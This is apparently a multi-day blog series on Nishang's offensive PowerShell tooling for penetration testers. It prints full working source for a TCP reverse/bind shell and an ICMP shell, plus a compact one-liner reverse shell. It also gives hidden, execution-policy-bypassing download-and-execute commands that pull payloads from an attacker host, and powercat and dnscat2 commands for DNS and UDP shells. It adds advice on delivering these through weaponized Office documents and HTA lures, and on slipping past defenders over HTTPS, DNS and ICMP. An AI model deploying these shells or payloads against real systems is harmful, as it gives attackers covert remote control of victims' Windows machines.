Week of PS Shells

Week of PowerShell Shells – Announcement and Day 1

PowerShell as an essential tool for Penetration Testers and Red Teamers needs no introduction. Its tight integration with Windows operating system allows us to do a variety of interesting stuff which other PowerShell hackers and I have blogged and coded over time. Still, during my talks and trainings I see both attackers and defenders unaware of what PowerShell is capable of and how it can make their life easy. I have also met infosec folks who were dismissive of PowerShell just because it comes from Microsoft. To generate awareness and spread the goodness of PowerShell in the infosec community, I am glad to announce a Week of PowerShell shells.
On each day of the current week, from 11th May to 15th May 2015, I will publish/discuss a blog post and accompanying open source tools for getting interactive PowerShell on a target using different methods, techniques and protocols.

Day 1 – Interactive PowerShell shells over TCP

Lets start with a reverse shell. It is based on this awesome post at Nettitude by Ben Turner (@benpturner) and Dave Hardy (@davehardy20). Using the scripts with metasploit is well documented in that article. After removing some code and changing few things, I give you Invoke-PowerShellTcp. This script is capable of providing a reverse as well as a bind interactive PowerShell. The current source code (without the help documentation ) looks like this:
function Invoke-PowerShellTcp 
{ 
    
    [CmdletBinding(DefaultParameterSetName="reverse")] Param(

        [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="reverse")]
        [Parameter(Position = 1, Mandatory = $true, ParameterSetName="bind")]
        [Int]
        $Port,

        [Parameter(ParameterSetName="reverse")]
        [Switch]
        $Reverse,

        [Parameter(ParameterSetName="bind")]
        [Switch]
        $Bind

    )

    #Connect back if the reverse switch is used.
    if ($Reverse)
    {
        $client = New-Object System.Net.Sockets.TCPClient($IPAddress,$Port)
    }

    #Bind to the provided port if Bind switch is used.
    if ($Bind)
    {
        $listener = [System.Net.Sockets.TcpListener]$Port
        $listener.start()    
        $client = $listener.AcceptTcpClient()
    } 

    $stream = $client.GetStream()
    [byte[]]$bytes = 0..255|%{0}

    #Send back current username and computername
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    #Show an interactive PowerShell prompt
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        
        #Execute the command on the target.
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        #Return the results
        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()  
    }
    $client.Close()
    $listener.Stop()
}
It could be found in the Shells directory of Nishang https://github.com/samratashok/nishang/tree/master/Shells

A screenshot of it in action. A listener is running on Kali linux:

A listener could be set up on a Windows machine as well. Lets use powercat (https://github.com/besimorhino/powercat) as a listener:

Using Invoke-PowerShellTcp as a bind shell:

The ability to have an interactive PowerShell helps us in many situations. One good example would be my previous blog post about Dumping users passwords in plaintext for Windows 8.1 and Server 2012. In that case, it was not possible to achieve the results without an interactive PowerShell.

Note that we can use powercat as well.

Choose whatever you like depending on the scenario at hand.

If you see the source code of Invoke-PowerShellTcp, it is really small and therefore can be used with various attack techniques like Weaponized MS Office documents, Human Interface Devices (see Kautilya), Drive by downloads, DNS TXT records etc. where a shorter script is desirable. In fact, it could further be shortened if we remove some error handling and fancy user input. I give you Invoke-PowerShellTcpOneLine.
$client = New-Object System.Net.Sockets.TCPClient("192.168.178.16",443);$stream = $client.GetStream();[byte[]]$bytes = 0..255|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

A quick video shows how Invoke-PowerShellTcp could be used with a weaponized MS Word document:

If you enjoyed the post and want to learn more and/or want to support my research and work, join me for a two days training “PowerShell for Penetration Testers” at:
.
PS C:\Users\jacco> IEX (New-Object System.Net.Webclient).DownloadString('https://www.puckiestyle.nl/powercat.ps1')
PS C:\Users\jacco> powercat -c 192.168.178.16 -u -v -p 53 -ep
VERBOSE: Set Stream 1: UDP
VERBOSE: Set Stream 2: Powershell
VERBOSE: Setting up Stream 1... (ESC/CTRL to exit)
VERBOSE: Sending UDP traffic to 192.168.178.16 port 53...
VERBOSE: UDP: Make sure to send some data so the server can notice you!
VERBOSE: Setting up Stream 2... (ESC/CTRL to exit)
VERBOSE: Both Communication Streams Established. Redirecting Data Between Streams...

Week of PowerShell shells – Day 3 – HTTPS Shells

Welcome to the day 3 of week of PowerShell shells. Lets focus on HTTP/HTTPS today. The traffic over HTTPS is mostly considered safe and often overlooked by the blue teams and system administrators. This makes HTTPS a desirable channel for our shells. I have stolen Casey Smith’s (@subTee) Poshrat (https://github.com/subTee/PoshRat) and tweaked it a bit. I give you Invoke-PoshRatHttps. 
Invoke-PoshRatHttps, as the name suggests, establishes an encrypted medium of communication between the target and the attacker. This was lacking in the previous shells we saw on Day 1 and Day 2. It could be found in the Nishang repository here: https://github.com/samratashok/nishang/tree/master/Shells
Invoke-PoshRatHttps requires Administrative access on the attacker’s machine to listen on ports and install SSL certificates. Lets set up a listener on a machine:
PS C:\pentest> Import-Module .\Invoke-PoshRatHttps.ps1
PS C:\pentest> Invoke-PoshRatHttps -IPAddress 192.168.178.14 -Port 443
Listening on 192.168.178.14:443
Run the following command on the target:
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex ((New-Object Net.WebClient).DownloadString('https://192.168.178.14:443/connect'))
Note that the listener needs two ports. One for initial connect and another for encrypted communication.
On a target, we just need to execute the below command (note the HTTP):
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c [System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};iex ((New-Object Net.WebClient).DownloadString('https://192.168.178.14:443/connect'))
A user could be tricked to open a HTA file as well. Though the kind of warnings shown by browsers reduce the chances of a successful attack. A target needs to open the below URL:
https://192.168.254.1/WindowsDefender.hta

Lets see it in action:

Awesome! An interactive and encrypted reverse PowerShell!

In Wireshark we can see that only the initial connect request is sent over HTTP, everything else is over HTTPS. The initial unencrypted connect is used to setup the HTTPS channel :

The pcap is available at: https://drive.google.com/folderview?id=0B-Hsu8q12kG3fkVMaWlQejI4bmktVFlnZHd5Y3pjcHcxRVppQVM1Y1ZYamI5RlYxNExhY2s&usp=sharing

Note that Invoke-PoshRatHttps installs Root certificates by the name of “Windows Update Agent” and the IPAddress specified on your machine and opens incoming traffic on the specified ports. The firewall rules are named “Windows Update HTTPS” and “Windows Update HTTP”.

There is a HTTP version as well, Invoke-PoshRatHttp.

PS C:\pentest> Import-Module .\Invoke-PoshRatHttp.ps1
PS C:\pentest> Invoke-PoshRatHttp -IPAddress 192.168.178.14 -Port 80
Listening on 192.168.178.14:80
Run the following command on the target:
powershell.exe -WindowStyle hidden -ExecutionPolicy Bypass -nologo -noprofile -c IEX ((New-Object Net.WebClient).DownloadString('http://192.168.178.14:80/connect'))
PS 192.168.178.14:4209>: whoami
lt-jacco\jacco
PS C:\Users\jacco> iex (New-Object Net.WebClient).DownloadString("http://192.168.178.14/connect")
What makes Invoke-PoshRatHttps awesome is that the client part is very small and could be used with wide variety of techniques where there are size limitations.
To clean up the machine after using Invoke-PoshRatHttps, we can use Remove-PoshRat. It needs to be run from an elevated PowerShell.

Nishang has another HTTPS shell Invoke-PsGcat which uses Gmail for command and script execution. I have blogged about it earlier: http://www.labofapenetrationtester.com/2015/04/pillage-the-village-powershell-version.html 

A video showing usage of Invoke-PoshRatHttps:

Please note that I am deliberately not going into what can be done after we get shell access to a target. For that please see my previous blog posts.

Hope this proves to be useful. Please leave feedback and comments.

Week of PowerShell Shells – Day 4 – WMI Shell

Welcome to the Day 4 of Week of PowerShell Shells. The Shell which we are going to discuss today is much different from the ones we have dicussed previously. Today, we will discuss a shell which utilizes WMI (Read more about WMI here).
We can execute PowerShell commands and scripts using WMI using the Invoke-WmiMethod cmdlet. But the cmdlet does not return any output. It is the ReturnValue of 0 and a ProcessId which tells us that *may be* the command was executed successfully:
Notice that in the above example we need valid crednetials for the target machine.
I am no fan of WMI as it is not NAT and Firewall friendly, but having alternative techniques and methodologies are essential for a succesfull attacker. Inability to see the output kills the fun part of command/script execution. Fortunately, a very clever solution to this problem was discussed by Andrei Dumitrescu at HES 2014. The solution is to store the output in Base64 encoding into WMI namespaces. retrieve it and decode on the attacker’s machine. The solution was implemented in PowerShell by Jesse Davis (@secabstraction) here: https://github.com/secabstraction/WmiSploit.
Based entirely on Jesse’s code, I give you Invoke-PowerShellWmi. A script which provides interactive PowerShell session using WMI.
Here is how to use it. The script will prompt for a password:
PS C:\> . C:\nishang\Shells\Invoke-PowerShellWmi.ps1
PS C:\> Invoke-PowerShellWmi -ComputerName domainpc -UserName bharat\domainuser
Note that like normal WMI operations, valid Administrative access/credentials for the target machine are required to use this script. This privilege could be achieved by dumping passwords in plaintext, stealing tokens etc.

Here is Invoke-PowerShellWmi in action:

Great! We can see output of PowerShell and native commands.

PowerShell scripts could be executed as well using the -EncodedCommand parameter of PowerShell:

Nice! We executed encoded Invoke-PowerShellTcpOneLine using WMI.
The default shell available is PowerShell but cmd can be used as well using the -ShellType parameter.
Looking at WireShark, this obviosuly is a genuine WMI traffic.

The pcap is available here: https://drive.google.com/folderview?id=0B-Hsu8q12kG3fnBMWlhFQ2VqaDFLM3BheVpyOFdrUExKcGRLbjExcURfMHBaSkNCanFiQWM&usp=sharing

The Namespaces created in the process are marked with “SYSINFOS” unless specified otherwise by the user.  Make sure to use “exit” command when closing the shell as it initiates a cleanup of the target system.
A video demonstration of Invoke-PowerShellWmi:
Remember, much more could be achieved with PowerShell once you have access to a machine. You may like to see my other blog posts for that.
Hope you enjoyed it! Please leave feedback and comments.

Week of PowerShell Shells – Day 5 – DNS, ICMP Shells and Wrap up

Welcome to the Day 5 of Week of PowerShell Shells. Today we will see interactive PowerShell shells using ICMP and DNS. Both ICMP and DNS are generally allowed through firewalls and are not as commonly used for shells as TCP or UDP. That makes both of them useful for attackers. Lets see how both could be used to serve our purpose.
For using DNS, lets use Ron Bowes’ awesome dnscat2 (https://github.com/iagox86/dnscat2) as a server. On the target Windows machine, we can use, once again, powercat (https://github.com/besimorhino/powercat). We have used powercat earlier as well and it is of great use.
Use below command to start a dnscat2 server:
root@Kali:~/Desktop# ruby ./dnscat2.rb reversedns-shell.org
Use below command on the target to connect back:
PS C:\> powercat -c 192.168.254.226 -p 53 -dns reversedns-shell.org
And the result is:
Brilliant! We have an interactive PowerShell shell over legit DNS traffic.
While dnscat2 supports an indirect connection as well, we used a direct connection to the dns server started by dnscat2.
If we ask Wireshark, it has no complaints:
While we are on this, Nishang has couple of interesting scripts which make use of DNS for command, script and msf shellcode execution. But there is no interactive shell. Please see this blog post for more details: http://www.labofapenetrationtester.com/2015/01/fun-with-dns-txt-records-and-powershell.html

Now, lets move on to ICMP. For server/listener part, we will use icmpsh (https://github.com/inquisb/icmpsh) by Bernardo Damele (@inquisb). I have written a client/connect-back in PowerShell. I give you Invoke-PowerShellIcmp.The current source code without help and credtis documentation:

function Invoke-PowerShellIcmp
{ 
    
    [CmdletBinding()] Param(

        [Parameter(Position = 0, Mandatory = $true)]
        [String]
        $IPAddress,

        [Parameter(Position = 1, Mandatory = $false)]
        [Int]
        $Delay,

        [Parameter(Position = 2, Mandatory = $false)]
        [Int]
        $BufferSize = 128

    )

    #Basic structure from http://stackoverflow.com/questions/20019053/sending-back-custom-icmp-echo-response
    $ICMPClient = New-Object System.Net.NetworkInformation.Ping
    $PingOptions = New-Object System.Net.NetworkInformation.PingOptions
    $PingOptions.DontFragment = $True

    # Shell appearance and output redirection based on Powerfun - Written by Ben Turner & Dave Hardy
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " + $env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null

    #Show an interactive PowerShell prompt
    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '> ')
    $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null

    while ($true)
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes('')
        $reply = $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions)
        
        #Check for Command from the server
        if ($reply.Buffer)
        {
            $response = ([text.encoding]::ASCII).GetString($reply.Buffer)
            $result = (Invoke-Expression -Command $response 2>&1 | Out-String )
            $sendbytes = ([text.encoding]::ASCII).GetBytes($result)
            $index = [math]::floor($sendbytes.length/$BufferSize)
            $i = 0

            #Fragmant larger output into smaller ones to send to the server.
            if ($sendbytes.length -gt $BufferSize)
            {
                while ($i -lt $index )
                {
                    $sendbytes2 = $sendbytes[($i*$BufferSize)..(($i+1)*$BufferSize)]
                    $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null
                    $i +=1
                }
                $remainingindex = $sendbytes.Length%$BufferSize
                if ($remainingindex -ne 0)
                {
                    $sendbytes2 = $sendbytes[($i*$BufferSize)..($remainingindex)]
                    $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes2, $PingOptions) | Out-Null
                }
            }
            else
            {
                $ICMPClient.Send($IPAddress,60 * 10000, $sendbytes, $PingOptions) | Out-Null
            }
            $sendbytes = ([text.encoding]::ASCII).GetBytes("`nPS " + (Get-Location).Path + '> ')
            $ICMPClient.Send($IPAddress,60 * 1000, $sendbytes, $PingOptions) | Out-Null
        }
        else
        {
            Sleep -Seconds 5
        }
    }
}

Invoke-PowerShellIcmp is available in the Nishang repo here: https://github.com/samratashok/nishang/tree/master/Shells

Use below command to disable ping replies (IPv4) and start a listener:

root@Kali:~/Desktop# sysctl -w net.ipv4.icmp_echo_ignore_all=1
root@Kali:~/Desktop# python icmpsh_m.py 192.168.254.226 192.168.254.1

Use below command on the target:

PS C:\> Invoke-PowerShellIcmp -IPAddress 192.168.254.226

Aaand:

Awesome! An interactive PowerShell session over ICMP.

Wireshark looks like this:

A video showing DNS shell and Invoke-PowerShellIcmp in action:

Those who wanted to know what to do after we get access to a target using these shells, please refer to my earlier blogposts.
For any of the Shells discussed in these five days, a PowerShell script could be executed with the help of the -EncodedCommand or -e parameter of powershell.exe.

For example, to execute Get-WLANKeys, encode it with the help of Invoke-Encode from Nishang. Make sure to remove the function declaration and help section.

PS C:\nishang> Import-Module .\nishang.psm1
PS C:\nishang> Invoke-Encode -DataToEncode .\Gather\Get-WLANKeysModified.ps1 -OutCommand

which looks like this:

Then use the encodedscript in encodedcommand.txt with any of the shells:

or you can use the below one line to execute scripts from a local web server:

PS C:\nishang> (New-Object Net.Webclient).DownloadString('http://192.168.254.226/powerpreter.psm1');Get-Information

Please note that I encountered error in some of the shells if the encoded script is too long. I need more testing on this problem, so please provide feedback and report bugs.

The best way to pass parameters to modules or scripts when using -EncodedCommand is to include the parameter passing within the script.

To transfer files, the best way is to use following one line downloader. You can use a local web server like Apache/HFS.

PS C:\nishang> (New-Object Net.Webclient).DownloadFile('http://192.168.254.226/test/nmap.zip',"$env:TEMP\nmap.zip")

Wrap up of the Week of PowerShell Shells

We have reached the end of Week of PowerShell shells. It was a wonderful yet tiresome experience. I learned a lot while writing these posts and hope you learned something as well. The goal was to keep the posts concise and usable without going into too much details. In fact, to achive this goal, no protocol level details were discussed. I would like to believe that through this series, I am able to spread awareness about the capabilities of PowerShell to more folks in the Infosec community.

I hope you enjoyed reading the posts as much as I enjoyed writing them. Please leave comments, feedback and report bugs.